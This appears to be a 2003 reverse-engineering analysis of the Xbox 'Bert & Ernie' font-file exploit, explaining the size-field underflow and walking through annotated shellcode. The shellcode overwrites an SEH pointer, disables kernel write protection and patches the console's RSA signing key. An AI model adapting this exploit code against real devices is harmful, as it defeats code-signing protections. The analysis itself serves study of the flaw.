Technical
analyses of Free-X’s “Bert & Ernie” exploit
from
The
Pheonix
Project
Please note that there is no
guarantee that all the information in this document is correct.
This is only an educated
analysis.
Also, please note that the reason
for this explanation is to avoid restricting people to the Xbox Linux System. Using this information, other legitimate executables can be run on your
unmodified Xbox. This allows people full interoperability with software, but
without voiding the warranty. This explanation is for the sole purpose of
writing interoperable software under Sect. 1201 (f) Reverse Engineering
exception of the DMCA.
Introduction
The “Bert & Ernie” exploit was released on the 4th
of July, 2003 by a mysterious group known as Free-X.
The rumor and controversy surrounding Free-X is beyond the scope of
this document, but it suffices to say that there have been much of both.
It is believed by some that the authors of “Bert & Ernie” and the
“007” hack are one and the same, or at least that the origins of the two exploits
share some common roots. Although
there are similarities in the “shell code”, the underlying attacks are radically
different, and the general “form” of the code would lead to suggest that the
authors are not the same person.
The dash
exploit itself
“Bert & Ernie” is a proof of concept exploit of a flaw in the Xbox’s “Dashboard,” which is the default ‘GUI’ of the environment. Much of the Xbox is very secure, with many proprietary file formats utilizing multiple levels of encryption, and secure signatures, and it was often speculated that an exploit of this caliber would never be possible. However, as it turns out, one specific set of files, the Dashboard’s .xtf (Xbox TrueType Font) format, is lacking both in security and design. These files are not signed or validated in any manor. They are a simple format consisting of some basic header information, and a series of structures defining the appearance of fonts in the dash.
In the header section of this file, there is a 4 byte “size” member, which specifies the size of the file including itself. The dashboard first reads the header, subtracts the length of the header from this size, allocates to fit a file of this size, and reads that number of bytes into the allocated block. Because the size variable includes itself, values of 0, 1, 2 or 3 will cause an underflow condition when the size of the size variable itself is subtracted. The dashboard will then allocate only 0-3 bytes of memory, and attempt to read up to several gig into it, overwriting large sections of memory.
Enter Bert and his ‘very
close friend’ Ernie
The exploit consists of 2 font files, bert.xtf and ernie.xtf. They are designed to replace the default font files XBox.xtf and Xbox Book.xtf on the xbox system partition. It appears that the very small Bert is designed to be loaded first. Bert utilizes the buffer overflow to overwrite the SEH address of a nearby thread with a pointer into the memory space where ernie should be loaded. The SEH is a pointer to an address of code space that is to be called when a thread generates an exception. It is the compiler version of the "catch" block in a try/catch statement. When Ernie is loaded, approximately 7 megabytes of the dash are overwritten alternating with the bytes 0xEB and 0x0E, followed by the actual functional code. Together, these 2 bytes form the “jmp $+10h” Instruction. This large “jump block” being written to memory by the kernel’s file io functions at the request of the dash is what bernie has modified the SEH to (hopefully) point into. Because the Dash's space in memory has now been so brutally altered, one of it's threads will inevitably generate an exception, which will cause a jump into the jump block. This thread will then follow the series of jump commands through the entire jump block, after which it will enter the actual “Shell Code.” This buffer overflow exploit technique has been referred to as a “Thread Collision,” as the kernel thread is inadvertently manipulating the SEH of a process thread, and silmultaniously causing that, or another, thread to generate an exception, in one fell swoop.
Ernie’s
Meat
The “meat” of the Ernie code is, unlike the 007 exploit, not obfuscated in any way. Let’s dive right in to a dissasembly, starting just after the tail end of the jump block.
;;;;big ol jump block before this
removed for clarity
;;;;;The start of the real code. This will get entered at a variety of
places, depending upon
;;;;;where exactly the ip ended
up.
;;;;;This seems to just diddle
dec
eax
inc
eax
dec
edx
inc
ecx
inc
eax
inc
eax
dec
ecx
inc
eax
dec
ebx
dec
eax
inc
ecx
inc
eax
dec
ebx
dec
ecx
inc
ebx
inc
eax
dec
ecx
This section of code ultimately doesn’t do anything.
It is only there because it is uncertain where, exactly, the dash thread’s
instruction pointer will end up in the jump block, and because the jump block
skips forward 16
bytes at a time, 16 meaningless, single-byte opcode
instructions are placed so that the thread enters the
;;;standard stack frame fix into register
setupstack
:
push
eax
push
eax
mov
ebx, esp
;;;store the interrupt table
getints :
sidt
qword ptr [ebx]
;;grab the handler for int (2? Single step??)
grabinttwo :
inc
ebx
inc
ebx
mov
eax, [ebx]
pop
ebx
pop
ebx
mov
esi, [eax+4]
mov
si, [eax]
jmp
short fixaddr
The next section of code first sets up bx to point
to the thread’s stack space. Any
data already on the thread’s stack is now meaningless, as we don’t plan on
returning to the original dash code at any point.
It then asks the cpu
to store the interrupt vector table in the bit of memory that was
once the stack, and uses that table to find the address of what I believe
is the handler for system interrupt 2, which is the “single step” interrupt.
This interrupt is called after every instruction executes, to allow
the kernel to do multitasking, so it is a good, reliable way to get an estimate
as to where the kernel is in memory.
This is very different from how the 007 exploit proceeds to do this,
especially in the next part.
;;loop to find the kernel
;;starts from the interrupt handler and works backwards
looking for
;;'MZ'
or
'ZM', this will be the start of the kernel.
findk :
mov
ax, [esi]
isitk :
cmp
ax, 'MZ'
jz
short check1
cmp
ax,
'ZM'
jz
short check1
retry :
sub
esi, 1000h
fixaddr :
and
esi, 0FFFFF000h
jmp
short findk
The address that was found in the previous section is then adjust
so that its 3 lowest order nibbles are zeroed.
This ensures that we check along the proper boundaries for the start
of the kernel. This code then
searches “backwards” through memory, as it would make sense that the start
of the kernel comes “before” its actual contents (the interrupt handler.)
On each iteration, esi is decremented by
1000h (the boundary the kernel should be found on), and this location is then
read to determine if it contains the bytes ‘MZ’ or ‘ZM’ which would designate
the start of the kernel. Also,
on each iteration, the search address again has it’s
3 lowest order nibbles zeroed, to keep the search along the proper boundary.
Upon initial examination, this may seem redundant and unnecessary,
but it has been assured by people more knowledgeable then myself
that this is, indeed, necessary.
;;check
the header to make sure
check1:
mov
eax, [esi+3Ch]
cmp
eax, 0FFFh
ja
short retry
mov
edi, eax
add edi, esi
mov
eax, [edi]
;;check and make sure it has a PE header
checkpe :
cmp
eax, 'EP'
jnz
short
retry
mov
eax, [edi+78h]
lea edi, [esi+eax]
After the loop exits, this section of code is entered.
Its duty is twofold, first to ensure that what we found is actually
the kernel, and to find the PE header and the export table it contains.
It does this my grabbing a word at offset 3Ch into the kernel.
As a proper Microsoft kernel is really just a PE format executable
(.exe) file, this byte should contain an offset within this “file” to the
start of the PE header. If the
byte at this location does not pass a simple sanity check, execution is returned
to the above loop to continue searching for the real kernel.
If it does pass this sanity check, it is used to calculate a pointer
to where the PE header should be located.
A word is grabbed from this location, and compared against the word
‘EP.’ Fixing the endian
on this word obviously yields PE, representing the start of the PE header.
If this header is not found, execution is passed back to the above
loop to continue searching. Again,
a word is grabbed from a specific offset.
In this case, the offset is 78h bytes from the top of the PE header.
This will contain an offset into the kernel where the export table
should be located.
call
$+5
;;store ip in bp (to reference data below)
getip
:
pop
ebp
;;this finds 2 exports in the pe
header, HalWriteSMBusValue and XePublicKeyData
findexp
:
lea edx, [ebp+(offset smb - offset getip)]
mov
ecx, [edi+10h]
mov
edi, [edi+1Ch]
lea edi, [esi+edi]
getexp
:
mov
eax, [edx]
findaddr
:
or
eax, eax
jz
short findkey
sub eax, ecx
shl
eax, 2
mov
eax, [edi+eax]
or
eax, eax
jz
short storeaddr
add eax, esi
storeaddr
:
mov
[edx], eax
inc
edx
inc
edx
inc
edx
inc
edx
jmp
short getexp
;;;;some data for use various places
path
db '\Device\Harddisk0\Partition2',0
file
db 'default.xbe',0
smb
dd 32h
key
dd 163h
dd
0
This block of code first uses a simple push/pop trick to get the current ip
into bp.
This is done so that it is easy to reference the data at the end of
this section of code. It then
grabs data starting at smb, which contains an
ordinal number for the HalWriteSMBusValue kernel
export, follows the export table to determine the actual exported address
for this ordinal, and stores that address back at the original location of
the ordinal. It will loop through
a list of ordinals, starting at smb, continuing
to find the actual exports in this fashion, until it hits an ordinal of 0,
in this case only also finding the XePublicKeyData
export.
;;this finds the key in memory, based upon the export grabbed
above
;;it also determines which method to write
with
findkey
:
mov
ebx, [ebp+(offset key - offset
getip)]
or
ebx, ebx
jz
short alternatekeycopy
cmp
dword ptr [ebx], 31415352h
jnz
short
alternatekeycopy
cmp
dword ptr [ebx+10h],
10001h
jnz
short
alternatekeycopy
This finds the key in memory from the previously retrieved export, and determines
which method to use to modify the key, in order to be compatible with different
bios versions.
;;;disable write protect
disablewp
:
cli
mov
ecx, cr0
and ecx, 0FFFEFFFFh
mov
cr0, ecx
;;prepare for key manipulation
setupkeycopy
:
mov
dword ptr [ebx+10h],
3
mov
esi, ebx
;;manipulate key
copykey
:
lodsd
sub esi, 3
cmp
eax, 0A44B1BBDh
jnz
short
copykey
xor
dword ptr [esi-1],
2DD78BD6h
;;re-enable write protect
enablewp
:
or
ecx, 10000h
mov
cr0, ecx
sti
jmp
short ledchange
;;second method of manipulation
alternatekeycopy
:
mov
ebx, esi
;;find the key
findkeyb
:
inc
ebx
cmp
dword ptr [ebx], 31415352h
jnz
short
findkeyb
cmp
dword ptr [ebx+10h],
10001h
jz
short disablewpb
cmp
dword ptr [ebx+10h],
3
jnz
short
findkeyb
;;disable write protect
disablewpb
:
cli
mov
ecx, cr0
and ecx, 0FFFEFFFFh
mov
cr0, ecx
;;setup for manipulation
setupkeycopyb
:
mov
dword ptr [ebx+10h],
3
mov
esi, ebx
;;do it to it
copykeyb
:
lodsd
sub esi, 3
cmp
eax, 0A44B1BBDh
jnz
short
copykeyb
xor
dword ptr [esi-1],
2DD78BD6h
;;re-enable write protect
enablewpb
:
or
ecx, 10000h
mov
cr0, ecx
sti
This rather long section of code simply changes the key, by disabling the
write protect (protected mode), changing the user exponent to 3, and xoring
a section of the key with 2DD78BD6h in order to make it easily factorable.
It is assumed that changing the exponent to three was done to confuse
people attempting to easily generate their own singing utilities, a la 007.
Write protect is then re-enabled.
;;change the led flashing
ledchange
:
mov
edi, [ebp+(offset smb - offset getip)]
push 0A0h ;
' '
push 0
push 8
push 20h ; ' '
call
edi
push 1
push 0
push 7
push 20h ; ' '
call
edi
This simply uses the export found earlier to write to the smbus
in order to change the LED blinking pattern to a red flash.
It is assumed that this is only done for effect, although it seems
like a lot of trouble to go through (writing a general “export finding” routine)
for effect, especially in such straightforward code.
It has been speculated by some that this was only done to demonstrate
how to call into the kernel from within exploit code, to help people who wish
to further expand upon these sorts of exploits.
;;prepare stack for xbe
launch
preparestack
:
push 0
push
esp
push 0
push 2
;;push path
pathonstack
:
lea eax, [ebp+(offset path - offset
getip)]
push
eax
;;push xbe
fileonstack
:
lea eax, [ebp+(offset file - offset
getip)]
push
eax
mov
esi, 10010h
Here, the exploit is simply preparing the stack for a call to launch the actual
xbe. It
pushes references to the path and filename defined earlier onto the stack.
;;find the launcher code
findjumppoint
:
inc
esi
cmp
dword ptr [esi], 20A164h
jnz
short
findjumppoint
cmp
dword ptr [esi+6],
250808Bh
jnz
short
findjumppoint
cmp
dword ptr [esi+10h],
26A006Ah
jnz
short
findjumppoint
mov
al,
[esi-2]
and al,
0F0h
cmp
al, 70h ; 'p'
jnz
short
findjumppoint
cmp
byte ptr [esi-9], 0E8h ; 'č'
jnz
short
findjumppoint
;;narrow down to the exact start, and call
it
findexact
:
dec
esi
cmp
dword ptr [esi], 0FFEC8B55h
jnz
short
findexact
call
esi
;;should the xbe ever return,
infinite loop
infinite
:
jmp
short
infinite
This is the only part of the exploit that is not completely straightforward. It would appear that it is searching through the remnants of the dashboard’s code to find a specific bit of code that will launch the xbe, and then calling into this code. It has been speculated as to why this technique was used over other, more commonly used techniques, but one can never be sure. Some of the more common theories are that it was done to avoid messy remapping of D, or strange, unreliable kernel interactions.
Should the call into the launcher code ever return, the exploit will simply drop into an infinite loop, to keep any junk data after the exploit from being executed.